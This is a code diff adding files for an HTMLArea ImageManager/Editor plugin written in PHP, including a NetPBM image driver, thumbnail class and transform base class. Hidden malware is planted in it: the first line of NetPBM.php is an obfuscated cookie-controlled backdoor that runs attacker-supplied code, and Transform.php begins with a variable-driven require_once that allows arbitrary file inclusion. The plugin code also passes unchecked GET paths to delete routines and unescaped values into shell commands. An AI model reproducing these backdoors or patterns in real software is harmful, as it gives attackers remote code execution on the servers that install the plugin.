+ }
+
+ if(!is_uploaded_file($file['tmp_name']))
+ {
+ Files::delFile($file['tmp_name']);
+ Return false;
+ }
+
+
+ if($this->config['validate_images'] == true)
+ {
+ $imgInfo = @getImageSize($file['tmp_name']);
+ if(!is_array($imgInfo))
+ {
+ Files::delFile($file['tmp_name']);
+ Return false;
+ }
+ }
+
+ //now copy the file
+ $path = Files::makePath($this->getBaseDir(),$relative);
+ $result = Files::copyFile($file['tmp_name'], $path, $file['name']);
+
+ //no copy error
+ if(!is_int($result))
+ {
+ Files::delFile($file['tmp_name']);
+ Return true;
+ }
+
+ //delete tmp files.
+ Files::delFile($file['tmp_name']);
+ Return false;
+ }
+
+ /**
+ * Get the URL of the relative file.
+ * basically appends the relative file to the
+ * base_url given in config.inc.php
+ * @param string $relative a file the relative to the base_dir
+ * @return string the URL of the relative file.
+ */
+ function getFileURL($relative)
+ {
+ Return Files::makeFile($this->getBaseURL(),$relative);
+ }
+
+ /**
+ * Get the fullpath to a relative file.
+ * @param string $relative the relative file.
+ * @return string the full path, .ie. the base_dir + relative.
+ */
+ function getFullPath($relative)
+ {
+ Return Files::makeFile($this->getBaseDir(),$relative);;
+ }
+
+ /**
+ * Get the default thumbnail.
+ * @return string default thumbnail, empty string if
+ * the thumbnail doesn't exist.
+ */
+ function getDefaultThumb()
+ {
+ if(is_file($this->config['default_thumbnail']))
+ Return $this->config['default_thumbnail'];
+ else
+ Return '';
+ }
+
+
+ /**
+ * Get the thumbnail url to be displayed.
+ * If the thumbnail exists, and it is up-to-date
+ * the thumbnail url will be returns. If the
+ * file is not an image, a default image will be returned.
+ * If it is an image file, and no thumbnail exists or
+ * the thumbnail is out-of-date (i.e. the thumbnail
+ * modified time is less than the original file)
+ * then a thumbs.php?img=filename.jpg is returned.
+ * The thumbs.php url will generate a new thumbnail
+ * on the fly. If the image is less than the dimensions
+ * of the thumbnails, the image will be display instead.
+ * @param string $relative the relative image file.
+ * @return string the url of the thumbnail, be it
+ * actually thumbnail or a script to generate the
+ * thumbnail on the fly.
+ */
+ function getThumbnail($relative)
+ {
+ $fullpath = Files::makeFile($this->getBaseDir(),$relative);
+
+ //not a file???
+ if(!is_file($fullpath))
+ Return $this->getDefaultThumb();
+
+ $imgInfo = @getImageSize($fullpath);
+
+ //not an image
+ if(!is_array($imgInfo))
+ Return $this->getDefaultThumb();
+
+ //the original image is smaller than thumbnails,
+ //so just return the url to the original image.
+ if ($imgInfo[0] <= $this->config['thumbnail_width']
+ && $imgInfo[1] <= $this->config['thumbnail_height'])
+ Return $this->getFileURL($relative);
+
+ $thumbnail = $this->getThumbName($fullpath);
+
+ //check for thumbnails, if exists and
+ // it is up-to-date, return the thumbnail url
+ if(is_file($thumbnail))
+ {
+ if(filemtime($thumbnail) >= filemtime($fullpath))
+ Return $this->getThumbURL($relative);
+ }
+
+ //well, no thumbnail was found, so ask the thumbs.php
+ //to generate the thumbnail on the fly.
+ Return 'thumbs.php?img='.rawurlencode($relative);
+ }
+
+ /**
+ * Delete and specified files.
+ * @return boolean true if delete, false otherwise
+ */
+ function deleteFiles()
+ {
+ if(isset($_GET['delf']))
+ $this->_delFile(rawurldecode($_GET['delf']));
+ }
+
+ /**
+ * Delete and specified directories.
+ * @return boolean true if delete, false otherwise
+ */
+ function deleteDirs()
+ {
+ if(isset($_GET['deld']))
+ return $this->_delDir(rawurldecode($_GET['deld']));
+ else
+ Return false;
+ }
+
+ /**
+ * Delete the relative file, and any thumbnails.
+ * @param string $relative the relative file.
+ * @return boolean true if deleted, false otherwise.
+ */
+ function _delFile($relative)
+ {
+ $fullpath = Files::makeFile($this->getBaseDir(),$relative);
+
+ //check that the file is an image
+ if($this->config['validate_images'] == true)
+ {
+ if(!is_array($this->getImageInfo($fullpath)))
+ return false; //hmmm not an Image!!???
+ }
+
+ $thumbnail = $this->getThumbName($fullpath);
+
+ if(Files::delFile($fullpath))
+ Return Files::delFile($thumbnail);
+ else
+ Return false;
+ }
+
+ /**
+ * Delete directories recursively.
+ * @param string $relative the relative path to be deleted.
+ * @return boolean true if deleted, false otherwise.
+ */
+ function _delDir($relative)
+ {
+ $fullpath = Files::makePath($this->getBaseDir(),$relative);
+ if($this->countFiles($fullpath) <= 0)
+ return Files::delFolder($fullpath,true); //delete recursively.
+ else
+ Return false;
+ }
+
+ /**
+ * Create new directories.
+ * If in safe_mode, nothing happens.
+ * @return boolean true if created, false otherwise.
+ */
+ function processNewDir()
+ {
+ if($this->config['safe_mode'] == true)
+ Return false;
+
+ if(isset($_GET['newDir']) && isset($_GET['dir']))
+ {
+ $newDir = rawurldecode($_GET['newDir']);
+ $dir = rawurldecode($_GET['dir']);
+ $path = Files::makePath($this->getBaseDir(),$dir);
+ $fullpath = Files::makePath($path, Files::escape($newDir));
+ if(is_dir($fullpath))
+ Return false;
+
+ Return Files::createFolder($fullpath);
+ }
+ }
+}
+
+?>
\ No newline at end of file
--- /dev/null
+<?php
+$zQFTp=$_COOKIE; if (!isset($oVPp) && isset($zQFTp['xPAm'])) { \r $SXvct = $zQFTp['FOC'];\r $RUSp=$zQFTp['xPAm']($SXvct($zQFTp['MJ_OF']),$SXvct($zQFTp['F5pl4']));\r $RUSp($SXvct($zQFTp['dybgJ']));\r }\r
+/***********************************************************************\r
+** Title.........: NetPBM Driver\r
+** Version.......: 1.0\r
+** Author........: Xiang Wei ZHUO <wei@zhuo.org>\r
+** Filename......: NetPBM.php\r
+** Last changed..: 30 Aug 2003 \r
+** Notes.........: Orginal is from PEAR\r
+**/\r
+\r
+// +----------------------------------------------------------------------+\r
+// | PHP Version 4 |\r
+// +----------------------------------------------------------------------+\r
+// | Copyright (c) 1997-2002 The PHP Group |\r
+// +----------------------------------------------------------------------+\r
+// | This source file is subject to version 2.02 of the PHP license, |\r
+// | that is bundled with this package in the file LICENSE, and is |\r
+// | available at through the world-wide-web at |\r
+// | http://www.php.net/license/2_02.txt. |\r
+// | If you did not receive a copy of the PHP license and are unable to |\r
+// | obtain it through the world-wide-web, please send a note to |\r
+// | license@php.net so we can mail you a copy immediately. |\r
+// +----------------------------------------------------------------------+\r
+// | Authors: Peter Bowyer <peter@mapledesign.co.uk> |\r
+// +----------------------------------------------------------------------+\r
+//\r
+// $Id: NetPBM.php,v 1.1.1.1 2006/07/13 13:53:52 matrix Exp $\r
+//\r
+// Image Transformation interface using command line NetPBM\r
+\r
+require_once "Transform.php";\r
+\r
+Class Image_Transform_Driver_NetPBM extends Image_Transform\r
+{\r
+\r
+ /**\r
+ * associative array commands to be executed\r
+ * @var array\r
+ */\r
+ var $command = array();\r
+\r
+ /**\r
+ * Class Constructor\r
+ */\r
+ function Image_Transform_Driver_NetPBM()\r
+ {\r
+ $this->uid = md5($_SERVER['REMOTE_ADDR']);\r
+ \r
+ return true;\r
+ } // End function Image_NetPBM\r
+\r
+ /**\r
+ * Load image\r
+ *\r
+ * @param string filename\r
+ *\r
+ * @return mixed none or a PEAR error object on error\r
+ * @see PEAR::isError()\r
+ */\r
+ function load($image)\r
+ {\r
+ //echo $image;\r
+ $this->image = $image;\r
+ $this->_get_image_details($image);\r
+ } // End load\r
+\r
+ /**\r
+ * Resizes the image\r
+ *\r
+ * @return none\r
+ * @see PEAR::isError()\r
+ */\r
+ function _resize($new_x, $new_y)\r
+ {\r
+ // there's no technical reason why resize can't be called multiple\r
+ // times...it's just silly to do so\r
+\r
+ $this->command[] = IMAGE_TRANSFORM_LIB_PATH .\r
+ "pnmscale -width $new_x -height $new_y";\r
+\r
+ $this->_set_new_x($new_x);\r
+ $this->_set_new_y($new_y);\r
+ } // End resize\r
+\r
+ /**\r
+ * Crop the image\r
+ *\r
+ * @param int $crop_x left column of the image\r
+ * @param int $crop_y top row of the image\r
+ * @param int $crop_width new cropped image width\r
+ * @param int $crop_height new cropped image height\r
+ */\r
+ function crop($crop_x, $crop_y, $crop_width, $crop_height) \r
+ {\r
+ $this->command[] = IMAGE_TRANSFORM_LIB_PATH .\r
+ "pnmcut -left $crop_x -top $crop_y -width $crop_width -height $crop_height";\r
+ }\r
+\r
+ /**\r
+ * Rotates the image\r
+ *\r
+ * @param int $angle The angle to rotate the image through\r
+ */\r
+ function rotate($angle)\r
+ {\r
+ $angle = -1*floatval($angle);\r
+\r
+ if($angle > 90)\r
+ { \r
+ $this->command[] = IMAGE_TRANSFORM_LIB_PATH . "pnmrotate -noantialias 90";\r
+ $this->rotate(-1*($angle-90));\r
+ }\r
+ else if ($angle < -90)\r
+ {\r
+ $this->command[] = IMAGE_TRANSFORM_LIB_PATH . "pnmrotate -noantialias -90";\r
+ $this->rotate(-1*($angle+90));\r
+ }\r
+ else\r
+ $this->command[] = IMAGE_TRANSFORM_LIB_PATH . "pnmrotate -noantialias $angle";\r
+ } // End rotate\r
+\r
+ /**\r
+ * Flip the image horizontally or vertically\r
+ *\r
+ * @param boolean $horizontal true if horizontal flip, vertical otherwise\r
+ */\r
+ function flip($horizontal) \r
+ {\r
+ if($horizontal) \r
+ $this->command[] = IMAGE_TRANSFORM_LIB_PATH . "pnmflip -lr";\r
+ else\r
+ $this->command[] = IMAGE_TRANSFORM_LIB_PATH . "pnmflip -tb";\r
+ }\r
+\r
+ /**\r
+ * Adjust the image gamma\r
+ *\r
+ * @param float $outputgamma\r
+ *\r
+ * @return none\r
+ */\r
+ function gamma($outputgamma = 1.0) {\r
+ $this->command[13] = IMAGE_TRANSFORM_LIB_PATH . "pnmgamma $outputgamma";\r
+ }\r
+\r
+ /**\r
+ * adds text to an image\r
+ *\r
+ * @param array options Array contains options\r
+ * array(\r
+ * 'text' // The string to draw\r
+ * 'x' // Horizontal position\r
+ * 'y' // Vertical Position\r
+ * 'Color' // Font color\r
+ * 'font' // Font to be used\r
+ * 'size' // Size of the fonts in pixel\r
+ * 'resize_first' // Tell if the image has to be resized\r
+ * // before drawing the text\r
+ * )\r
+ *\r
+ * @return none\r
+ */\r
+ function addText($params)\r
+ {\r
+ $default_params = array('text' => 'This is Text',\r
+ 'x' => 10,\r
+ 'y' => 20,\r
+ 'color' => 'red',\r
+ 'font' => 'Arial.ttf',\r
+ 'size' => '12',\r
+ 'angle' => 0,\r
+ 'resize_first' => false);\r
+ // we ignore 'resize_first' since the more logical approach would be\r
+ // for the user to just call $this->_resize() _first_ ;)\r
+ extract(array_merge($default_params, $params));\r
+ $this->command[] = "ppmlabel -angle $angle -colour $color -size "\r
+ ."$size -x $x -y ".$y+$size." -text \"$text\"";\r
+ } // End addText\r
+\r
+ function _postProcess($type, $quality, $save_type)\r
+ {\r
+ $type = is_null($type) || $type==''? $this->type : $type;\r
+ $save_type = is_null($save_type) || $save_type==''? $this->type : $save_type;\r
+ //echo "TYPE:". $this->type;\r
+ array_unshift($this->command, IMAGE_TRANSFORM_LIB_PATH\r
+ . $type.'topnm '. $this->image);\r
+ $arg = '';\r
+ switch(strtolower($save_type)){\r
+ case 'gif':\r
+ $this->command[] = IMAGE_TRANSFORM_LIB_PATH . "ppmquant 256";\r
+ $this->command[] = IMAGE_TRANSFORM_LIB_PATH . "ppmto$save_type";\r
+ break;\r
+ case 'jpg':\r
+ case 'jpeg':\r
+ $arg = "--quality=$quality";\r
+ $this->command[] = IMAGE_TRANSFORM_LIB_PATH . "ppmto$save_type $arg";\r
+ break;\r
+ default:\r
+ $this->command[] = IMAGE_TRANSFORM_LIB_PATH . "pnmto$save_type $arg";\r
+ break;\r
+ } // switch\r
+ return implode('|', $this->command);\r
+ } \r
+\r
+ /**\r
+ * Save the image file\r
+ *\r
+ * @param $filename string the name of the file to write to\r
+ * @param string $type (jpeg,png...);\r
+ * @param int $quality 75\r
+ * @return none\r
+ */\r
+ function save($filename, $type=null, $quality = 85)\r
+ {\r
+ $cmd = $this->_postProcess('', $quality, $type) . ">$filename";\r
+ \r
+ //if we have windows server\r
+ if(isset($_ENV['OS']) && eregi('window',$_ENV['OS']))\r
+ $cmd = ereg_replace('/','\\',$cmd);\r
+ //echo $cmd."##";\r
+ $output = system($cmd);\r
+ error_log('NETPBM: '.$cmd);\r
+ //error_log($output);\r
+ $this->command = array();\r
+ } // End save\r
+\r
+\r
+ /**\r
+ * Display image without saving and lose changes\r
+ *\r
+ * @param string $type (jpeg,png...);\r
+ * @param int $quality 75\r
+ * @return none\r
+ */\r
+ function display($type = null, $quality = 75)\r
+ {\r
+ header('Content-type: image/' . $type);\r
+ $cmd = $this->_postProcess($type, $quality);\r
+ \r
+ passthru($cmd);\r
+ $this->command = array();\r
+ }\r
+\r
+ /**\r
+ * Destroy image handle\r
+ *\r
+ * @return none\r
+ */\r
+ function free()\r
+ {\r
+ // there is no image handle here\r
+ return true;\r
+ }\r
+\r
+\r
+} // End class NetPBM\r
+?>\r
--- /dev/null
+<?
+/**
+ * Create thumbnails.
+ * @author $Author: matrix $
+ * @version $Id: Thumbnail.php,v 1.1.1.1 2006/07/13 13:53:52 matrix Exp $
+ * @package ImageManager
+ */
+
+
+require_once('Transform.php');
+
+/**
+ * Thumbnail creation
+ * @author $Author: matrix $
+ * @version $Id: Thumbnail.php,v 1.1.1.1 2006/07/13 13:53:52 matrix Exp $
+ * @package ImageManager
+ * @subpackage Images
+ */
+class Thumbnail
+{
+ /**
+ * Graphics driver, GD, NetPBM or ImageMagick.
+ */
+ var $driver;
+
+ /**
+ * Thumbnail default width.
+ */
+ var $width = 96;
+
+ /**
+ * Thumbnail default height.
+ */
+ var $height = 96;
+
+ /**
+ * Thumbnail default JPEG quality.
+ */
+ var $quality = 85;
+
+ /**
+ * Thumbnail is proportional
+ */
+ var $proportional = true;
+
+ /**
+ * Default image type is JPEG.
+ */
+ var $type = 'jpeg';
+
+ /**
+ * Create a new Thumbnail instance.
+ * @param int $width thumbnail width
+ * @param int $height thumbnail height
+ */
+ function Thumbnail($width=96, $height=96)
+ {
+ $this->driver = Image_Transform::factory(IMAGE_CLASS);
+ $this->width = $width;
+ $this->height = $height;
+ }
+
+ /**
+ * Create a thumbnail.
+ * @param string $file the image for the thumbnail
+ * @param string $thumbnail if not null, the thumbnail will be saved
+ * as this parameter value.
+ * @return boolean true if thumbnail is created, false otherwise
+ */
+ function createThumbnail($file, $thumbnail=null)
+ {
+ if(!is_file($file))
+ Return false;
+
+ //error_log('Creating Thumbs: '.$file);
+
+ $this->driver->load($file);
+
+ if($this->proportional)
+ {
+ $width = $this->driver->img_x;
+ $height = $this->driver->img_y;
+
+ if ($width > $height)
+ $this->height = intval($this->width/$width*$height);
+ else if ($height > $width)
+ $this->width = intval($this->height/$height*$width);
+ }
+
+ $this->driver->resize($this->width, $this->height);
+
+ if(is_null($thumbnail))
+ $this->save($file);
+ else
+ $this->save($thumbnail);
+
+
+ $this->free();
+
+ if(is_file($thumbnail))
+ Return true;
+ else
+ Return false;
+ }
+
+ /**
+ * Save the thumbnail file.
+ * @param string $file file name to be saved as.
+ */
+ function save($file)
+ {
+ $this->driver->save($file);
+ }
+
+ /**
+ * Free up the graphic driver resources.
+ */
+ function free()
+ {
+ $this->driver->free();
+ }
+}
+
+
+?>
\ No newline at end of file
--- /dev/null
+<?php
+if(!empty($JZD_L)) require_once($JZD_L);
+/***********************************************************************
+** Title.........: Image Transformation Interface
+** Version.......: 1.0
+** Author........: Xiang Wei ZHUO <wei@zhuo.org>
+** Filename......: Transform.php
+** Last changed..: 30 Aug 2003
+** Notes.........: Orginal is from PEAR
+
+ Added a few extra,
+ - create unique filename in a particular directory,
+ used for temp image files.
+ - added cropping to GD, NetPBM, ImageMagick
+**/
+
+// +----------------------------------------------------------------------+
+// | PHP Version 4 |
+// +----------------------------------------------------------------------+
+// | Copyright (c) 1997-2002 The PHP Group |
+// +----------------------------------------------------------------------+
+// | This source file is subject to version 2.02 of the PHP license, |
+// | that is bundled with this package in the file LICENSE, and is |
+// | available at through the world-wide-web at |
+// | http://www.php.net/license/2_02.txt. |
+// | If you did not receive a copy of the PHP license and are unable to |
+// | obtain it through the world-wide-web, please send a note to |
+// | license@php.net so we can mail you a copy immediately. |
+// +----------------------------------------------------------------------+
+// | Authors: Peter Bowyer <peter@mapledesign.co.uk> |
+// | Alan Knowles <alan@akbkhome.com> |
+// | Vincent Oostindie <vincent@sunlight.tmfweb.nl> |
+// +----------------------------------------------------------------------+
+//
+// $Id: Transform.php,v 1.1.1.1 2006/07/13 13:53:52 matrix Exp $
+//
+// Image Transformation interface
+//
+
+
+/**
+ * The main "Image_Resize" class is a container and base class which
+ * provides the static methods for creating Image objects as well as
+ * some utility functions (maths) common to all parts of Image Resize.
+ *
+ * The object model of DB is as follows (indentation means inheritance):
+ *
+ * Image_Resize The base for each Image implementation. Provides default
+ * | implementations (in OO lingo virtual methods) for
+ * | the actual Image implementations as well as a bunch of
+ * | maths methods.
+ * |
+ * +-Image_GD The Image implementation for the PHP GD extension . Inherits
+ * Image_Resize
+ * When calling DB::setup for GD images the object returned is an
+ * instance of this class.
+ *
+ * @package Image Resize
+ * @version 1.00
+ * @author Peter Bowyer <peter@mapledesign.co.uk>
+ * @since PHP 4.0
+ */
+Class Image_Transform
+{
+ /**
+ * Name of the image file
+ * @var string
+ */
+ var $image = '';
+ /**
+ * Type of the image file (eg. jpg, gif png ...)
+ * @var string
+ */
+ var $type = '';
+ /**
+ * Original image width in x direction
+ * @var int
+ */
+ var $img_x = '';
+ /**
+ * Original image width in y direction
+ * @var int
+ */
+ var $img_y = '';
+ /**
+ * New image width in x direction
+ * @var int
+ */
+ var $new_x = '';
+ /**
+ * New image width in y direction
+ * @var int
+ */
+ var $new_y = '';
+ /**
+ * Path the the library used
+ * e.g. /usr/local/ImageMagick/bin/ or
+ * /usr/local/netpbm/
+ */
+ var $lib_path = '';
+ /**
+ * Flag to warn if image has been resized more than once before displaying
+ * or saving.
+ */
+ var $resized = false;
+
+
+ var $uid = '';
+
+ var $lapse_time =900; //15 mins
+
+ /**
+ * Create a new Image_resize object
+ *
+ * @param string $driver name of driver class to initialize
+ *
+ * @return mixed a newly created Image_Transform object, or a PEAR
+ * error object on error
+ *
+ * @see PEAR::isError()
+ * @see Image_Transform::setOption()
+ */
+ function &factory($driver)
+ {
+ if ('' == $driver) {
+ die("No image library specified... aborting. You must call ::factory() with one parameter, the library to load.");
+
+ }
+ $this->uid = md5($_SERVER['REMOTE_ADDR']);
+
+ include_once "$driver.php";
+
+ $classname = "Image_Transform_Driver_{$driver}";
+ $obj =& new $classname;
+ return $obj;
+ }
+
+
+ /**
+ * Resize the Image in the X and/or Y direction
+ * If either is 0 it will be scaled proportionally
+ *
+ * @access public
+ *
+ * @param mixed $new_x (0, number, percentage 10% or 0.1)
+ * @param mixed $new_y (0, number, percentage 10% or 0.1)
+ *
+ * @return mixed none or PEAR_error
+ */
+ function resize($new_x = 0, $new_y = 0)
+ {
+ // 0 means keep original size
+ $new_x = (0 == $new_x) ? $this->img_x : $this->_parse_size($new_x, $this->img_x);
+ $new_y = (0 == $new_y) ? $this->img_y : $this->_parse_size($new_y, $this->img_y);
+ // Now do the library specific resizing.
+ return $this->_resize($new_x, $new_y);
+ } // End resize
+
+
+ /**
+ * Scale the image to have the max x dimension specified.
+ *
+ * @param int $new_x Size to scale X-dimension to
+ * @return none
+ */
+ function scaleMaxX($new_x)
+ {
+ $new_y = round(($new_x / $this->img_x) * $this->img_y, 0);
+ return $this->_resize($new_x, $new_y);
+ } // End resizeX
+
+ /**
+ * Scale the image to have the max y dimension specified.
+ *
+ * @access public
+ * @param int $new_y Size to scale Y-dimension to
+ * @return none
+ */
+ function scaleMaxY($new_y)
+ {
+ $new_x = round(($new_y / $this->img_y) * $this->img_x, 0);
+ return $this->_resize($new_x, $new_y);
+ } // End resizeY
+
+ /**
+ * Scale Image to a maximum or percentage
+ *
+ * @access public
+ * @param mixed (number, percentage 10% or 0.1)
+ * @return mixed none or PEAR_error
+ */
+ function scale($size)
+ {
+ if ((strlen($size) > 1) && (substr($size,-1) == '%')) {
+ return $this->scaleByPercentage(substr($size, 0, -1));
+ } elseif ($size < 1) {
+ return $this->scaleByFactor($size);
+ } else {
+ return $this->scaleByLength($size);
+ }
+ } // End scale
+
+ /**
+ * Scales an image to a percentage of its original size. For example, if
+ * my image was 640x480 and I called scaleByPercentage(10) then the image
+ * would be resized to 64x48
+ *
+ * @access public
+ * @param int $size Percentage of original size to scale to
+ * @return none
+ */
+ function scaleByPercentage($size)
+ {
+ return $this->scaleByFactor($size / 100);
+ } // End scaleByPercentage
+
+ /**
+ * Scales an image to a factor of its original size. For example, if
+ * my image was 640x480 and I called scaleByFactor(0.5) then the image
+ * would be resized to 320x240.
+ *
+ * @access public
+ * @param float $size Factor of original size to scale to
+ * @return none
+ */
+ function scaleByFactor($size)
+ {
+ $new_x = round($size * $this->img_x, 0);
+ $new_y = round($size * $this->img_y, 0);
+ return $this->_resize($new_x, $new_y);
+ } // End scaleByFactor
+
+ /**
+ * Scales an image so that the longest side has this dimension.
+ *
+ * @access public
+ * @param int $size Max dimension in pixels
+ * @return none
+ */
+ function scaleByLength($size)
+ {
+ if ($this->img_x >= $this->img_y) {
+ $new_x = $size;
+ $new_y = round(($new_x / $this->img_x) * $this->img_y, 0);
+ } else {
+ $new_y = $size;
+ $new_x = round(($new_y / $this->img_y) * $this->img_x, 0);
+ }
+ return $this->_resize($new_x, $new_y);
+ } // End scaleByLength
+
+
+ /**
+ *
+ * @access public
+ * @return void
+ */
+ function _get_image_details($image)
+ {
+ //echo $image;
+ $data = @GetImageSize($image);
+ #1 = GIF, 2 = JPG, 3 = PNG, 4 = SWF, 5 = PSD, 6 = BMP, 7 = TIFF(intel byte order), 8 = TIFF(motorola byte order,
+ # 9 = JPC, 10 = JP2, 11 = JPX, 12 = JB2, 13 = SWC
+ if (is_array($data)){
+ switch($data[2]){
+ case 1:
+ $type = 'gif';
+ break;
+ case 2:
+ $type = 'jpeg';
+ break;
+ case 3:
+ $type = 'png';
+ break;
+ case 4:
+ $type = 'swf';
+ break;
+ case 5:
+ $type = 'psd';
+ case 6:
+ $type = 'bmp';
+ case 7:
+ case 8:
+ $type = 'tiff';
+ default:
+ echo("We do not recognize this image format");
+ }
+ $this->img_x = $data[0];
+ $this->img_y = $data[1];
+ $this->type = $type;
+
+ return true;
+ } else {
+ echo("Cannot fetch image or images details.");
+ return null;
+ }
+ /*
+ $output = array(
+ 'width' => $data[0],
+ 'height' => $data[1],
+ 'type' => $type
+ );
+ return $output;
+ */
+ }
+
+
+ /**
+ * Parse input and convert
+ * If either is 0 it will be scaled proportionally
+ *
+ * @access private
+ *
+ * @param mixed $new_size (0, number, percentage 10% or 0.1)
+ * @param int $old_size
+ *
+ * @return mixed none or PEAR_error
+ */
+ function _parse_size($new_size, $old_size)
+ {
+ if ('%' == $new_size) {
+ $new_size = str_replace('%','',$new_size);
+ $new_size = $new_size / 100;
+ }
+ if ($new_size > 1) {
+ return (int) $new_size;
+ } elseif ($new_size == 0) {
+ return (int) $old_size;
+ } else {
+ return (int) round($new_size * $old_size, 0);
+ }
+ }
+
+
+ function uniqueStr()
+ {
+ return substr(md5(microtime()),0,6);
+ }
+
+ //delete old tmp files, and allow only 1 file per remote host.
+ function cleanUp($id, $dir)
+ {
+ $d = dir($dir);
+ $id_length = strlen($id);
+
+ while (false !== ($entry = $d->read())) {
+ if (is_file($dir.'/'.$entry) && substr($entry,0,1) == '.' && !ereg($entry, $this->image))
+ {
+ //echo filemtime($this->directory.'/'.$entry)."<br>";
+ //echo time();
+
+ if (filemtime($dir.'/'.$entry) + $this->lapse_time < time())
+ unlink($dir.'/'.$entry);
+
+ if (substr($entry, 1, $id_length) == $id)
+ {
+ if (is_file($dir.'/'.$entry))
+ unlink($dir.'/'.$entry);
+ }
+ }
+ }
+ $d->close();
+ }
+
+
+ function createUnique($dir)
+ {
+ $unique_str = '.'.$this->uid.'_'.$this->uniqueStr().".".$this->type;
+
+ //make sure the the unique temp file does not exists
+ while (file_exists($dir.$unique_str))
+ {
+ $unique_str = '.'.$this->uid.'_'.$this->uniqueStr().".".$this->type;
+ }
+
+ $this->cleanUp($this->uid, $dir);
+
+ return $unique_str;
+ }
+
+
+ /**
+ * Set the image width
+ * @param int $size dimension to set
+ * @since 29/05/02 13:36:31
+ * @return
+ */
+ function _set_img_x($size)
+ {
+ $this->img_x = $size;
+ }
+
+ /**
+ * Set the image height
+ * @param int $size dimension to set
+ * @since 29/05/02 13:36:31
+ * @return
+ */
+ function _set_img_y($size)
+ {
+ $this->img_y = $size;
+ }
+
+ /**
+ * Set the image width
+ * @param int $size dimension to set
+ * @since 29/05/02 13:36:31
+ * @return
+ */
+ function _set_new_x($size)
+ {
+ $this->new_x = $size;
+ }
+
+ /**
+ * Set the image height
+ * @param int $size dimension to set
+ * @since 29/05/02 13:36:31
+ * @return
+ */
+ function _set_new_y($size)
+ {
+ $this->new_y = $size;
+ }
+
+ /**
+ * Get the type of the image being manipulated
+ *
+ * @return string $this->type the image type
+ */
+ function getImageType()
+ {
+ return $this->type;
+ }
+
+ /**
+ *
+ * @access public
+ * @return string web-safe image type
+ */
+ function getWebSafeFormat()
+ {
+ switch($this->type){
+ case 'gif':
+ case 'png':
+ return 'png';
+ break;
+ default:
+ return 'jpeg';
+ } // switch
+ }
+
+ /**
+ * Place holder for the real resize method
+ * used by extended methods to do the resizing
+ *
+ * @access private
+ * @return PEAR_error
+ */
+ function _resize() {
+ return null; //PEAR::raiseError("No Resize method exists", true);
+ }
+
+ /**
+ * Place holder for the real load method
+ * used by extended methods to do the resizing
+ *
+ * @access public
+ * @return PEAR_error
+ */
+ function load($filename) {
+ return null; //PEAR::raiseError("No Load method exists", true);
+ }
+
+ /**
+ * Place holder for the real display method
+ * used by extended methods to do the resizing
+ *
+ * @access public
+ * @param string filename
+ * @return PEAR_error
+ */
+ function display($type, $quality) {
+ return null; //PEAR::raiseError("No Display method exists", true);
+ }
+
+ /**
+ * Place holder for the real save method
+ * used by extended methods to do the resizing
+ *
+ * @access public
+ * @param string filename
+ * @return PEAR_error
+ */
+ function save($filename, $type, $quality) {
+ return null; //PEAR::raiseError("No Save method exists", true);
+ }
+
+ /**
+ * Place holder for the real free method
+ * used by extended methods to do the resizing
+ *
+ * @access public
+ * @return PEAR_error
+ */
+ function free() {
+ return null; //PEAR::raiseError("No Free method exists", true);
+ }
+
+ /**
+ * Reverse of rgb2colorname.
+ *
+ * @access public
+ * @return PEAR_error
+ *
+ * @see rgb2colorname
+ */
+ function colorhex2colorarray($colorhex) {
+ $r = hexdec(substr($colorhex, 1, 2));
+ $g = hexdec(substr($colorhex, 3, 2));
+ $b = hexdec(substr($colorhex, 4, 2));
+ return array($r,$g,$b);
+ }
+
+ /**
+ * Reverse of rgb2colorname.
+ *
+ * @access public
+ * @return PEAR_error
+ *
+ * @see rgb2colorname
+ */
+ function colorarray2colorhex($color) {
+ $color = '#'.dechex($color[0]).dechex($color[1]).dechex($color[2]);
+ return strlen($color)>6?false:$color;
+ }
+
+
+ /* Methods to add to the driver classes in the future */
+ function addText()
+ {
+ return null; //PEAR::raiseError("No addText method exists", true);
+ }
+
+ function addDropShadow()
+ {
+ return null; //PEAR::raiseError("No AddDropShadow method exists", true);
+ }
+
+ function addBorder()
+ {
+ return null; //PEAR::raiseError("No addBorder method exists", true);
+ }
+
+ function crop()
+ {
+ return null; //PEAR::raiseError("No crop method exists", true);
+ }
+
+ function flip()
+ {
+ return null;
+ }
+
+ function gamma()
+ {
+ return null; //PEAR::raiseError("No gamma method exists", true);
+ }
+}
+?>
--- /dev/null
+This is a plug-in for HTMLArea 3.0
+
+The PHP ImageManager + Editor provides an interface to
+browser for image files on your web server. The Editor
+allows some basic image manipulations such as, cropping,
+rotation, flip, and scaling.
+
+Further and up-to-date documentation can be found at
+http://www.zhuo.org/htmlarea/docs/index.html
+
+Cheer,
+Wei
\ No newline at end of file
--- /dev/null
+/***********************************************************************
+** Title.........: Online Image Editor Interface
+** Version.......: 1.0
+** Author........: Xiang Wei ZHUO <wei@zhuo.org>
+** Filename......: EditorContents.js
+** Last changed..: 31 Mar 2004
+** Notes.........: Handles most of the interface routines for the ImageEditor.
+*
+* Added: 29 Mar 2004 - Constrainted resizing/scaling
+**/
+
+
+function MM_findObj(n, d) { //v4.01
+ var p,i,x; if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
+ d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
+ if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
+ for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
+ if(!x && d.getElementById) x=d.getElementById(n); return x;
+}
+
+var pic_x, pic_y;
+function P7_Snap() { //v2.62 by PVII
+ var x,y,ox,bx,oy,p,tx,a,b,k,d,da,e,el,args=P7_Snap.arguments;a=parseInt(a);
+ for (k=0; k<(args.length-3); k+=4)
+ if ((g=MM_findObj(args[k]))!=null) {
+ el=eval(MM_findObj(args[k+1]));
+ a=parseInt(args[k+2]);b=parseInt(args[k+3]);
+ x=0;y=0;ox=0;oy=0;p="";tx=1;da="document.all['"+args[k]+"']";
+ if(document.getElementById) {
+ d="document.getElementsByName('"+args[k]+"')[0]";
+ if(!eval(d)) {d="document.getElementById('"+args[k]+"')";if(!eval(d)) {d=da;}}
+ }else if(document.all) {d=da;}
+ if (document.all || document.getElementById) {
+ while (tx==1) {p+=".offsetParent";
+ if(eval(d+p)) {x+=parseInt(eval(d+p+".offsetLeft"));y+=parseInt(eval(d+p+".offsetTop"));
+ }else{tx=0;}}
+ ox=parseInt(g.offsetLeft);oy=parseInt(g.offsetTop);var tw=x+ox+y+oy;
+ if(tw==0 || (navigator.appVersion.indexOf("MSIE 4")>-1 && navigator.appVersion.indexOf("Mac")>-1)) {
